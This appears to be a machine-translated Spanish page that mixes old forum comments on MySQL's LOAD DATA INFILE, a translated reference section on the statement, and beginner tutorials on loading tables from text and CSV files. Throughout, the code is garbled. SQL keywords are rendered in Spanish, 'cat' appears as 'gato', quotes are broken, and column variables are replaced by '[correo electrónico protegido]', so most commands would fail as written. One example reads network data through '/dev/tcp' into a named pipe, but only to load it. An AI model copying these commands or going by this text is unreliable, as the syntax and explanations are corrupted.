¿Dónde pertenecen? Continúe y conviértalo en una opción, pero esto es suficiente problema para hacer
cambiar de nuevo a Oracle (y eso toma mucho).
| Publicado por campbell el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
Segundo eso. (!) No entiendo cómo tú
escribe esa oración con una cara seria.
| Publicado por Jonathon Padfield el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
Además, no hay información sobre qué filas se omiten
es dado.
| Publicado por el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
Esta función es muy útil cuando se envía un
INSERTAR desde una página web. Si el usuario golpea
actualizar y volver a publicar los datos del formulario que resultan en un
INSERCIÓN posterior de los mismos datos de clave principal,
boom, la aplicación se rompe. De esta forma, el usuario podría
presione F5 hasta que su cara se ponga azul, y ellos
no romperá la instrucción REEMPLAZAR.
| [Eliminar][Editar] |
Tengo una carpeta MyDB en c:\mysql\data
Coloco allí Data.txt y cuando ejecuto
CARGAR EL ARCHIVO LOCAL DE DATOS "Data.txt" EN LA TABLA
MyTable dice: El comando se ha ejecutado con éxito
pero NO se agregan valores a MyTable.
estoy bajo W2K
| Publicado por van hoof philip el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
Quiero sincronizar mi base de datos con otra
base de datos de vez en cuando. Esto significa que yo
tendrá que usar la cosa REEMPLAZAR. Pero que pasa
registros que ya no existen en los más nuevos
base de datos. ¿Se eliminarán en MySQL?
¿Hay alguna forma de borrarlos automáticamente? o es el
única solución para soltar mi tabla MySQL y recrear
antes de empezar a CARGARLO. Estoy usando crontab
scripts para esta operación, por lo que no hay interacción humana
es posible durante estas operaciones.
| Publicado por el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
La documentación no es clara acerca de qué
constituye una clave/índice "único" en esta área. Eso
referencias inversas a "insertar", pero insertar no
tener tal restricción. He encontrado que primaria
las claves son lo suficientemente únicas, pero "he tenido que agregar
primarias donde no las quería. Tal vez estoy
algo falta....
| Publicado por el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
Es muy frustrante recibir advertencias cuando uno está
importar datos a una base de datos MySQL
podrá acceder a cualquier información sobre las advertencias.
MySQL realmente necesita agregar una característica que
informar de qué se trata una advertencia en lugar de solo
reportar una advertencia. Lo ideal es que la información sobre
la advertencia debe proporcionarse inmediatamente. A
al menos algún tipo de registro de errores debería ser
creada a la que puede acceder un usuario.
| Publicado por el viernes 17 de mayo de 2002 a las 6:24 a. m. | [Eliminar][Editar] |
Sobre el tema "F5 hasta que su cara se ponga azul"...
Esto debe ser manejado en la aplicación. Eso
ciertamente no está de más decirle al usuario: "Has
ya ingresé esto. Por favor, deja de refrescarte".
En realidad, debido a la cantidad de pacientes hiperimpacientes
perdedores por ahí, esto parece particularmente
buena idea.
| Publicado por Larry Irwin el martes 20 de agosto de 2002 a las 11:50 a. m. | [Eliminar][Editar] |
Sería muy útil tener una opción adicional
a "IGNORAR RESTRICCIONES" durante la carga
proceso.
| Publicado por el jueves 5 de septiembre de 2002, @ 1:34 am | [Eliminar][Editar] |
Hay un problema con "en una tabla MyISAM vacía, todos
los índices no únicos se crean en un lote separado"
ya que el mecanismo utilizado es una "reparación con
keycache", que puede ser muy lento si tiene muchos
índices Uno realmente necesita usar el mecanismo para
detener la creación de claves y luego hacer la reparación con
myisamchk usando "reparar con ordenar" como se describe en
sección 5.2.9 (si puede hacerlo funcionar:-()
| Publicado por miércoles 09 de octubre 2002, @ 12:43pm | [ |
Sintaxis LOAD DATA INFILE
CARGAR ARCHIVO DE DATOS" Nombre del archivo. txt" EN LA TABLA nombre de la tabla
[ENCERRADA POR"]
]
]
[(nombre_columna,...)]
La instrucción LOAD DATA INFILE lee líneas de un archivo de texto y las carga en una tabla a una velocidad muy alta.
También puede cargar archivos de datos utilizando la utilidad de importación mysql. Funciona enviando una instrucción LOAD data INFILE al servidor. La opción --local hace que la utilidad mysqlimport lea el archivo de datos del host del cliente. Puede especificar la opción -compress para mejorar el rendimiento en redes lentas si el cliente y el servidor admiten el protocolo comprimido.
Si se especifica la palabra clave LOW_PRIORITY, la ejecución de la instrucción LOAD DATA se retrasa hasta que todos los demás clientes hayan terminado de leer.
Si la palabra clave CONCURRENT se especifica con una tabla MyISAM que cumple la condición de inserciones paralelas (es decir, no tiene bloques libres en el medio del archivo), otros subprocesos podrán recuperar datos de la tabla al mismo tiempo que Se ejecuta CARGAR DATOS. El uso de esta opción tiene un ligero impacto en el rendimiento de LOAD DATA, incluso si ningún otro subproceso funciona con esta tabla.
Si se especifica la palabra clave LOCAL, se refiere al lado del cliente de la conexión.
- Si se especifica la palabra LOCAL, el programa cliente lee el archivo en el host del cliente y lo envía al servidor.
- Si no se especifica la palabra LOCAL, el archivo cargado debe residir en el host del servidor y el servidor lo lee directamente.
LOCAL está disponible en MySQL 3.22.6 y versiones posteriores.
Por razones de seguridad, al leer archivos de texto ubicados en el servidor, los archivos deben estar en el directorio de datos o ser legibles para todos. Además, para usar LOAD DATA con archivos del servidor, debe tener el privilegio FILE.
La descarga con la opción LOCAL es algo más lenta que cuando le das al servidor la capacidad de acceder directamente a los archivos descargados, porque en este caso el contenido de los archivos se transfiere a través de la red a través del servidor cliente-servidor en la conexión correcta. Por otro lado, no necesita privilegios de ARCHIVO en este caso.
A partir de MySQL 3.23.49 y MySQL 4.0.2 (4.0.13 en Windows), LOCAL solo funciona si tanto el cliente como el servidor lo permiten. Por ejemplo, si mysqld se inicia con la opción -local-inf ile=0, LOCAL no funcionará.
Si necesita usar LOAD DATA para leer desde una tubería de programa, puede usar la siguiente técnica:
mkfifo /mysql/db/x/x
chmod 666 / mysql / db / x / x
gato< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "CARGAR ARCHIVO DE DATOS "x1 EN LA TABLA x" x
Si está ejecutando una versión de MySQL anterior a la 3.23.25, esta técnica solo se puede usar con LOAD DATA LOCAL INFILE.
Si tiene una versión de MySQL anterior a la 3.23.24, no podrá leer utilizando la declaración LOAD DATA INFILE de un FIFO. Si necesita leer desde un FIFO (por ejemplo, salida de gunzip), use LOAD DATA LOCAL INFILE en su lugar.
Al buscar un archivo en su sistema de archivos, el servidor se guía por las siguientes reglas:
- Si se especifica una ruta absoluta, el servidor la usa tal cual.
- Si se proporciona una ruta relativa con uno o más componentes principales, el servidor busca archivos relativos a su directorio de datos.
- Si se proporciona un nombre de archivo sin componentes de ruta principales, el servidor busca el archivo en el directorio de datos de la base de datos predeterminado.
Tenga en cuenta que estas reglas implican que un archivo llamado ./myfile.txt se lee desde el directorio de datos del servidor, mientras que un archivo llamado myfile,txt se lee desde el directorio de datos predeterminado de la base de datos. Por ejemplo, la siguiente sentencia LOAD DATA INFILE lee el archivo data.txt del directorio de datos de la base de datos dbl porque dbl es la base de datos actual, aunque la sentencia está cargando datos en la base de datos db2:
mysql> USAR doble;
mysql> CARGAR EL ARCHIVO DE DATOS "data.txt" EN LA TABLA db2.my_table;
Las palabras clave REPLACE e IGNORE controlan el manejo de las cadenas de entrada que duplican las claves únicas existentes por valor.
Si se especifica REEMPLAZAR, las filas de entrada reemplazan las filas existentes (en otras palabras, las filas que tienen los mismos valores de clave principal o única que las filas existentes en la tabla). Consulte la sintaxis de REEMPLAZAR
Si se especifica IGNORE, se ignoran las filas de entrada que duplican las filas existentes con los mismos valores de clave principal o única. Si no se especifica ninguna opción, el comportamiento depende de si se especifica la palabra clave local. En ausencia de LOCAL, se genera un error si se encuentra una clave duplicada y se ignora el resto del archivo de texto. Si LOCAL está presente, el comportamiento predeterminado es el mismo que si se especificara IGNORE. Esto se debe a que el servidor no puede detener la transferencia de archivos mientras esta operación está en curso.
Si desea ignorar las restricciones de clave externa durante una operación de carga de datos, puede emitir una instrucción SET FOREIGN_KEY_CHECKS=0 antes de ejecutar LOAD DATA.
Si ejecuta LOAD DATA en una tabla MyISAM vacía, todos los índices no únicos se crean en un trabajo separado (como para REPAIR TABLE). Esto generalmente da como resultado que LOAD DATA sea mucho más rápido cuando hay muchos índices. Por lo general, esto es muy rápido, pero en algunos casos especiales puede crear índices aún más rápido desactivándolos con ALTER TABLE... DESHABILITAR TECLAS antes de cargar
archivo a la tabla, recreando los índices y habilitándolos con ALTER TABLE.. .ENABLE KEYS después de que se complete la carga.
LOAD DATA INFILE es una adición a SELECT.. .INTO OUTFILE. Consulte la sintaxis de SELECT Para escribir datos de una tabla en un archivo, use SELECT... INTO OUTFILE. Para volver a leer datos de un archivo en una tabla, use LOAD DATA INFILE. La sintaxis de las construcciones FIELDS y LINES es la misma para ambas sentencias. Ambas construcciones son opcionales, pero los campos deben preceder a LINES si se especifican ambos.
Si se especifica la construcción FIELDS, todos sus parámetros (TERMINATED BY, ENCLOSED BY y ESCAPED BY) también son opcionales, excepto por el requisito de que al menos un parámetro debe estar presente.
Si no se especifica la construcción FIELDS, el valor predeterminado es:
CAMPOS TERMINADOS POR "tf ENCERRADO POR "ESCAPADO POR"
Si no se especifica LÍNEAS, el valor predeterminado es:
LÍNEAS TERMINADAS POR "n! EMPIEZAN POR"
En otras palabras, el comportamiento predeterminado de LOAD DATA INFILE al leer la entrada es:
- Busque separadores de línea al principio de las líneas.
- No omita ningún prefijo de cadena.
- Dividir una línea en campos por caracteres de tabulación.
- No espere que los campos sean citados.
- Interprete la aparición de una tabulación, una nueva línea o "\" precedidos por \ como caracteres literales que forman parte del valor del campo.
Por el contrario, SELECT ... INTO OUTFILE se comporta así de forma predeterminada:
- Escribe tabulaciones entre campos.
- No rodea los valores de los campos entre comillas.
- Utiliza *" para resaltar tabulaciones, saltos de línea o "\" que aparecen dentro de los valores de campo.
- Escribe un carácter de nueva línea al final de las líneas.
¡En una nota!
Si generó un archivo de texto en un sistema Windows, es posible que deba especificar LÍNEAS TERMINADAS POR "rn" para leer el archivo correctamente, ya que los programas de Windows suelen usar estos dos caracteres como separadores de línea. Algunos programas, como WordPad, pueden usar el carácter "r " como separador de línea. Para leer estos archivos, utilice LÍNEAS TERMINADAS POR "r".
Si todas las líneas del archivo que se está leyendo tienen un prefijo común que desea ignorar, use LÍNEAS QUE EMPIEZAN POR " prefijos_de_cadenas para omitir este prefijo. Si la cadena no contiene un prefijo, se omite en su totalidad.
opción IGNORAR número LINES se utiliza para ignorar un número determinado de líneas al principio de un archivo. Por ejemplo, puede usar IGNORE I LINES para omitir la línea inicial que contiene los nombres de las columnas:
mysql> CARGAR EL ARCHIVO DE DATOS "/tmp/test.txt" -> EN LA TABLA prueba IGNORAR 1 LÍNEAS;
Cuando usa SELECT... INTO OUTFILE junto con LOAD DATA INFILE para escribir datos de la base de datos en un archivo y luego leerlos y volver a cargarlos en la base de datos, las opciones de control de fila y campo para ambas declaraciones deben coincidir. De lo contrario, LOAD DATA INFILE no podrá interpretar correctamente el contenido del archivo de texto. Supongamos que envía datos a un archivo de texto usando SELECT.. .INTO OUTFILE, separando los campos con comas:
mysql> SELECCIONE* EN OUTFILE "datos.txt" -> CAMPOS TERMINADOS POR", -> DESDE table2;
Para volver a leer un archivo separado por comas, lo correcto es:
mysql> CARGAR ARCHIVO DE DATOS "data.txt1 EN LA TABLA table2 -> CAMPOS TERMINADOS POR
Si, en cambio, intenta leerlo con la declaración a continuación, no funcionará porque LOAD DATA INFILE buscará tabulaciones entre los valores de los campos:
mysql> CARGAR EL ARCHIVO DE DATOS "data.txt" EN LA TABLA table2 ->
CAMPOS TERMINADOS EN "t";
El resultado más probable sería interpretar la cadena de entrada como un solo campo.
LOAD DATA INFILE también se puede usar para leer archivos de fuentes externas. Por ejemplo, un archivo puede tener campos separados por comas y entre comillas dobles. Si las líneas de un archivo están separadas por un carácter de nueva línea, el siguiente ejemplo ilustra qué opciones de separador de línea y columna se deben configurar para cargar un archivo:
mysql> CARGAR EL ARCHIVO DE DATOS "data.txt" EN LA TABLAnombre de la tabla-> CAMPOS TERMINADOS POR 1,1 ENCERRADO POR "" -> LÍNEAS TERMINADAS POR"norte";
Cualquier opción que especifique delimitadores de fila y columna puede recibir cadenas vacías ("") como argumentos. Si los argumentos no son cadenas vacías, entonces los valores PARA LOS CAMPOS ENCERRADOS POR Y LOS CAMPOS ESCAPADOS POR DEBEN ser OPCIONES DE UN SOLO CARÁCTER. CAMPOS TERMINADOS OPCIONES Los argumentos POR, LÍNEAS QUE EMPIEZAN POR y LÍNEAS TERMINADAS POR pueden tener más de un carácter. Por ejemplo, para escribir líneas separadas por retornos de carro/saltos de línea, o para leer archivos que contienen tales líneas, utilice LÍNEAS TERMINADAS POR "rn".
Para leer un archivo separado por líneas con caracteres %%, puede hacer lo siguiente:
mysql> CREAR TABLA chistes
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> broma TEXT NOT NULL);
mysql> CARGAR EL ARCHIVO DE DATOS "/tmp/bromas,txf EN LA TABLA bromas -> CAMPOS TERMINADOS POR "" -> LÍNEAS TERMINADAS POR "\n%%\n" (broma);
CAMPOS ENCERRADOS POR delimitadores de campo de controles (comillas). En la salida (SELECCIONAR ... EN OUTFILE), si omite la palabra OPCIONALMENTE, todos los campos estarán rodeados por el carácter especificado en ENCLOSED BY. Un ejemplo de tal salida (usando una coma como separador de campo) se muestra a continuación:
"1","una cadena","100.20"
"2","una cadena que contiene una coma","102.20"
"3","una cadena que contiene una \"comilla","102.20"
"4","una cadena que contiene \", comillas y comas","102.20"
Si especifica OPCIONALMENTE, el carácter ENCERRADO POR solo se aplica a los campos CHAR y VARCHAR entre comillas:
1,"una cadena",100.20
3,"una cadena que contiene una \"comilla",102.20
4,"una cadena que contiene \", comillas y comas",102.20
Tenga en cuenta que las apariciones del carácter especificado en ENCLOSED BY dentro del valor del campo están precedidas por el carácter especificado en ESCAPED BY. Además, si especifica un valor vacío para ESCAPED BY, es posible que se genere un archivo que LOAD DATA INFILE no se cargue correctamente.
Por ejemplo, si el carácter de cancelación se deja en blanco, el resultado anterior se verá como el siguiente. Es fácil ver que el segundo campo en la cuarta línea contiene una coma seguida de una comilla, que parecería (erróneamente) un separador de campo.
1,"una cadena",100.20
2,"una cadena que contiene una coma",102.20
3,"una cadena que contiene una "comilla",102.20
4,"una cadena que contiene ", comillas y comas",102.20
En la entrada, el carácter ENCLOSED BY, si está presente, se elimina del final del valor del campo. (Esto es cierto ya sea que se especifique o no la palabra OPCIONALMENTE. Esta palabra no tiene efecto en la interpretación de la entrada). La aparición de caracteres ENCLOSED BY precedidos por un carácter ESCAPED BY se interpreta como parte del valor actual del campo.
Si un campo comienza con un carácter ENCLOSED BY, las instancias de ese carácter se interpretan como la terminación del valor del campo solo si van seguidas de un campo o secuencia TERMINATED BY. Para evitar la ambigüedad cuando aparece un carácter ENCLOSED BY dentro de un valor de campo, ese carácter se puede duplicar y se interpretará como una sola instancia del carácter. Por ejemplo, si se especifica ENCLOSED BY "", las comillas se manejan de la siguiente manera:
"El jefe ""GRANDE"" -> El jefe "GRANDE" El jefe "GRANDE" -> El jefe "GRANDE" El jefe "GRANDE"" -> El jefe "GRANDE""
FIELDS ESCAPED BY controla la lectura o escritura de caracteres especiales. Si el argumento FIELDS ESCAPED BY no está vacío, se usa como prefijo para los siguientes caracteres en la salida:
- El carácter CAMPOS ESCAPADOS POR.
- El carácter CAMPOS ENCERRADOS POR.
- El primer carácter de las secuencias CAMPOS TERMINADOS POR Y LÍNEAS TERMINADAS POR.
- ASCII 0 (que se escribe después del carácter de cancelación como un ASCII "0", no como un byte nulo).
Si el carácter FIELDS ESCAPED BY está vacío, ningún carácter está precedido por caracteres de escape y NULL se genera como NULL, no como \N. Probablemente no sea una buena idea dejar el argumento FIELDS ESCAPED BY en blanco, especialmente si los valores de sus campos de datos contienen alguno de los caracteres mencionados.
En la entrada, si FIELDS ESCAPED BY no está vacío, cuando ese carácter aparece en la cadena de valor, se elimina y el carácter que le sigue se lee literalmente como parte del valor del campo. Las excepciones son "0" o "N" (SYS-PAGE-CONTENT o \N si "\" es el carácter de escape). Estas secuencias se interpretan como ASCII NUL (byte cero) y NULL, respectivamente. Las reglas para tratar con NULL se describen más adelante en esta sección.
Puede encontrar más información sobre la sintaxis de cancelación "\" en la sección Valores literales
En algunos casos, las opciones que controlan campos y filas interactúan entre sí:
- Si se especifica una cadena vacía para LINES TERMINATED BY y FIELDS TERMINATED BY no está vacío, LINES TERMINATED BY también sirve como separador de línea.
- SI LOS CAMPOS TERMINADOS POR Y LOS CAMPOS ENCERRADOS POR están vacíos, se utiliza el formato de cadena fijo (sin delimitadores). Este formato no utiliza ningún separador entre campos (pero puede tener un separador de línea). En su lugar, los valores de las columnas se escriben y leen utilizando el ancho de visualización de la columna. Por ejemplo, si una columna se declara como INT(7), los valores de la columna se escriben en un campo de siete caracteres. A medida que escribe, los valores de la columna se recuperan leyendo siete caracteres.
LÍNEAS TERMINADAS POR todavía se usa para separar líneas. Si una fila no contiene todos los campos, el resto de las columnas se establecen en sus valores predeterminados. Si no tiene un terminador de línea, su valor debe establecerse en 1". En este caso, el archivo de texto debe contener todos los campos en cada línea. El formato de longitud de línea fija también trata con valores NULL, como se describe a continuación. Tenga en cuenta que la longitud del formato de línea fija no funciona si se utiliza un conjunto de caracteres de varios bytes (por ejemplo, Unicode).
El manejo de los valores NULL varía según las opciones de CAMPOS y LÍNEAS utilizadas:
- Con los valores predeterminados de FIELDS y LINES, NULL se escribe como un valor de campo como \N en la salida, y el mismo valor de \N se lee como NULL en la entrada (suponiendo que el carácter ESCAPED BY esté establecido en "\")-
- Si FIELDS ENCLOSED BY no está vacío, el campo que contiene la palabra literal NULL se lee como un valor NULL. Esto es diferente del caso donde la palabra NULL está limitada a CAMPOS ENCERRADOS POR caracteres, donde el valor se lee como la cadena "NULL".
- Si FIELDS ESCAPED BY está vacío, NULL se escribe como la palabra NULL.
- Con un formato de cadena fijo (lo que sucede cuando los CAMPOS TERMINADOS POR y LOS CAMPOS ENCERRADOS POR están vacíos), NULL se escribe como una cadena vacía. Tenga en cuenta que esto hace que los valores NULL y las filas vacías de la tabla se vuelvan indistinguibles cuando se escriben en el archivo, ya que ambos escriben filas nulas. Si necesita distinguir entre los dos, evite usar el formato de longitud de línea fija.
A continuación se muestran algunos casos no admitidos por LOAD DATA INFILE:- Cadenas de LONGITUD fija (los CAMPOS TERMINADOS POR Y LOS CAMPOS ENCERRADOS POR son nyc) cuando hay columnas de tipo TEXTO o BLOB.
- Si especifica un delimitador que coincide con el prefijo de otro, LOAD DATA INFILE no puede interpretar correctamente el flujo de entrada. Por ejemplo, la siguiente opción dará lugar a problemas:
CAMPOS TERMINADOS POR ""INCLUIDO POR""
- Si FIELDS ESCAPED BY está vacío, los valores de campo que incluyen los caracteres FIELDS ENCLOSED BY O LINES TERMINATED BY seguidos de LINES TERMINATED BY harán que LOAD DATA INFILE deje de leer el archivo o la línea demasiado pronto. Esto sucederá porque LOAD DATA INFILE no puede determinar correctamente dónde termina el valor del campo o fila. El siguiente ejemplo carga todas las columnas de la tabla persondata: mysql> CARGAR EL ARCHIVO DE DATOS "persondata.txt" EN LA TABLA persondata;
De forma predeterminada, si no se proporciona una lista de columnas al final de la instrucción LOAD DATA INFILE, se espera que la fila de entrada contenga campos para cada columna de la tabla. Si desea cargar solo algunas de las columnas de la tabla, especifique una lista de columnas:
mysql> CARGAR ARCHIVO DE DATOS "persondata.txt1
-> INTO TABLE datos personales(coll,col2,...);
También debe especificar una lista de columnas si el orden de los campos en el archivo de entrada es diferente del orden de las columnas en la tabla. De lo contrario, MySQL no podrá asignar los campos de entrada a las columnas de la tabla.
Si el archivo de entrada tiene muy pocos campos por fila, se asignarán valores predeterminados a las columnas que faltan. La asignación de valores predeterminados se describe en la sección Sintaxis CREATE TABLE.
Los valores de campo vacíos se interpretan de manera diferente a los que faltan:- Para los tipos de cadena, se asigna una cadena vacía a la columna.
- Para tipos numéricos, a la columna se le asigna 0.
- Para los tipos de fecha y hora: la columna se establece en el tipo apropiado
"valor nulo. Ver tipos de fecha y hora
Estos son los mismos valores que resultan de asignar explícitamente una cadena vacía a columnas de estos tipos en una instrucción INSERT o UPDATE.
Los valores de la columna TIMESTAMP se establecen en la fecha y hora actuales solo si se establecen en NULL (es decir, \N), o si se omite una columna de ese tipo de la lista de campos, si se proporciona la lista de campos.LOAD DATA INFILE trata todas las entradas como una cadena, por lo que no puede usar valores numéricos para las columnas ENUM o SET, como se permite en las declaraciones INSERT. ¡Todos los valores ENUM o SET deben especificarse como cadenas!
Cuando se completa la declaración LOAD DATA INFILE, devuelve una cadena de información en el siguiente formato:
Registros: I Borrados: 0 Omitidos: 0 Advertencias: O
Si está trabajando con la API de C, puede obtener información sobre esta declaración llamando a la función mysql_info().
Las advertencias que aparecen bajo ciertas condiciones son las mismas que cuando se insertan valores con la declaración INSERT (consulte la sección 6.1.4), excepto que LOAD DATA INFILE también genera advertencias de que hay muy poco o muy poco en el archivo de entrada. muchos campos Las advertencias no se almacenan en ningún lugar, la cantidad de advertencias solo se puede usar como una indicación de que todo salió bien.
A partir de MySQL 4.1.1, puede usar MOSTRAR ADVERTENCIAS para enumerar las primeras advertencias max_error_count como información sobre qué la carga salió mal. Consulte la sintaxis de SHOW WARNINGS
Antes de MySQL 4.1.1, solo la cantidad de advertencias era una indicación de que una carga no se estaba ejecutando sin problemas. Si recibe una advertencia y quiere saber exactamente por qué sucedió, la única forma de hacerlo es usar SELECT... INTO OUTFILE para volcar el volcado de la tabla en otro archivo y compararlo con el archivo de entrada original.
Después de crear una tabla, debe llenarla con datos. Instrucciones y INSERTARútil para esto. Cómo funcionan, hablaremos un poco más tarde, pero por ahora pensemos en los datos que deben ingresarse en la tabla. ¿Cómo se ven exactamente?
Supongamos que los registros de sus animales se pueden describir como se muestra a continuación. Tenga en cuenta que MySQL espera fechas en formato año-mes-día, esto puede ser diferente de lo que está acostumbrado. El año se ingresa mejor con 4 dígitos. MySQL tiene un algoritmo bastante complejo para manejar valores de año de dos dígitos correctamente, pero aún no necesita entender eso, así que ingresemos los datos sin ambigüedades. Todos los datos de animales para nuestro ejemplo se muestran en la Tabla 2.2:
Tabla 2.2. Datos de animales
| nombre | propietario | especies | sexo | nacimiento | muerte |
| Esponjoso | harold | gato | F | 1993-02-04 | |
| Esponjoso | harold | gato | F | 1993-02-04 | |
| Garras | gwen | gato | metro | 1994-03-17 | |
| leucocitaria | harold | perro | F | 1989-05-13 | |
| Colmillo | benny | perro | metro | 1990-08-27 | |
| Bowser | Diana | perro | metro | 1989-08-31 | 1995-07-29 |
| Alegre | gwen | pajarito | F | 1998-09-11 | |
| silbador | gwen | pajarito | 1997-12-09 | ||
| Delgado | benny | serpiente | metro | 1996-04-29 |
Dado que está comenzando con una tabla vacía, la forma más fácil de completarla es crear un archivo de texto que contenga una línea para cada uno de sus animales y luego cargar el contenido del archivo en la tabla con solo una instrucción.
Puede crear un archivo de texto pet.txt que contenga una entrada por línea, con valores separados por tabulaciones en el orden en que se enumeraron las columnas en la instrucción CREATE TABLE. Para valores faltantes (como sexo desconocido o fechas de muerte de animales que aún viven), puede usar valores NULL. Para presentarlos en un archivo de texto, utilice una etiqueta. Por ejemplo, una entrada sobre un pájaro Whistler se parece a esto (marqué una pestaña con un espacio):
Whistler Gwen pajarito 1997-12-09
Para cargar datos de un archivo de texto pet.txt ubicado en la computadora local (cliente) y no en el servidor en la tabla de mascotas, use el comando LOAD DATA:
Mysql> CARGAR EL ARCHIVO LOCAL DE DATOS "pet.txt" EN LA TABLA pet;
Las palabras clave tienen el siguiente significado. EN ARCHIVO especifica una cadena que es el nombre del archivo del que se van a leer los datos. Debido a que el nombre es una cadena, está encerrado entre comillas; de lo contrario, MySQL intentará evaluarlo como una expresión numérica. LOCAL especifica que el archivo debe buscarse en el sistema cliente, no en el servidor. EN LA MESA instruye cargar datos en la tabla cuyo nombre se especifica inmediatamente después de la palabra TABLE (separados por un espacio).
Puede especificar el separador de valor de columna y el marcador de final de línea explícitamente en la declaración si lo desea, pero los valores predeterminados son solo tabulaciones y saltos de línea. Son suficientes para leer correctamente el archivo pet.txt, y no necesita más ahora.
Cuando desee agregar nuevos registros uno por uno, la instrucción es útil INSERTAR. En su forma más simple, proporciona los valores para cada columna en el orden en que se enumeraron las columnas en la instrucción CREATE TABLE. Suponga que Diane recibió un nuevo hámster Puffball como regalo. Puede agregar una nueva entrada usando la declaración INSERT, algo como esto:
MySQL> INSERTAR EN mascota
-> VALORES ("Puffball","Diane","hamster","f","1999-03-30","NULL");
Las palabras clave aquí tampoco son particularmente difíciles. INTO pet determina en qué mesa insertar. VALORES especifica una lista de valores para insertar para una nueva entrada en la tabla. Los valores se enumeran separados por comas y todos juntos se toman entre paréntesis.
Tenga en cuenta que las cadenas y el valor de la fecha se definen como cadenas. Puede insertar NULL directamente (no como una cadena) para representar la ausencia de un valor.
Puede ver en este ejemplo que se necesitaría escribir bastante para cargar directamente en una tabla. Las instrucciones ahorraron mucho tiempo.
¿Alguna vez ha tenido que cargar datos de un archivo en una tabla desde un archivo? De lo contrario, intentaré informarle brevemente sobre una forma de hacerlo.
Cargar datos en la tabla desde el archivo
LOAD DATA INFILE "data.csv" INTO TABLE my_table Esta construcción lo ayudará a cargar datos de un archivo en su tabla.
Si desea cargar datos formateados, digamos separados por una coma, la siguiente construcción lo ayudará:
CARGAR EL ARCHIVO DE DATOS "data.csv" EN LA TABLA my_table CAMPOS TERMINADOS POR "," ADJUNTO POR """ ESCAPADO POR "\\"
LÍNEAS TERMINADAS EN "\r\n"
¿Qué significa esto?
- Buscar finales de línea como caracteres "\r\n"
- Dividir líneas en campos por caracteres de coma (,).
- Espere que los campos estén entre comillas.
- Interprete la aparición de tabuladores, saltos de línea o "\" precedidos por "\" como literales que forman parte del valor del campo.
CONSTRUCCIÓN CARGAR ARCHIVO DE DATOS
Todo lo que hemos descrito anteriormente es la famosa construcción LOAD DATA INFILE.
Acceso denegado por error de usuario
Si de repente encuentra un error acceso denegado al usuario, entonces solo necesita agregar el atributo LOCAL antes de EN ARCHIVO. Por ejemplo:
CARGAR EL ARCHIVO LOCAL DE DATOS "data.csv" EN LA TABLA my_table
Cargue datos en la tabla desde el archivo para campos específicos
CARGAR EL ARCHIVO LOCAL DE DATOS "data.csv" EN LOS CAMPOS DE LA TABLA t1 TERMINADOS POR "," LÍNEAS TERMINADAS POR "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) establecer el nombre [correo electrónico protegido] col4 , identificación [correo electrónico protegido] col2;
Aquí especificamos el nombre del archivo (data.csv) desde el cual se cargarán los datos. En la construcción (@col1,@col2,@col3,@col4) enumeramos todas las columnas del archivo para su uso posterior. Y luego, usando el conocido método set, establecemos los valores de estas columnas para campos específicos de la tabla.
CARGAR ARCHIVO DE DATOS con UNIRSE
Si necesita completar una tabla de un archivo usando uno existente, probablemente pensó inmediatamente en usar entrar. El código para tal inserción de datos se parece a esto:
CARGAR EL ARCHIVO LOCAL DE DATOS "data.csv" EN LA TABLA table_1 CAMPOS TERMINADOS EN "\t" LÍNEAS TERMINADAS EN "\r\n" (@col1,@col2,@col3,@col4) conjunto [correo electrónico protegido], nombre de usuario = (seleccione el nombre de usuario de los usuarios donde user_id = @ col1);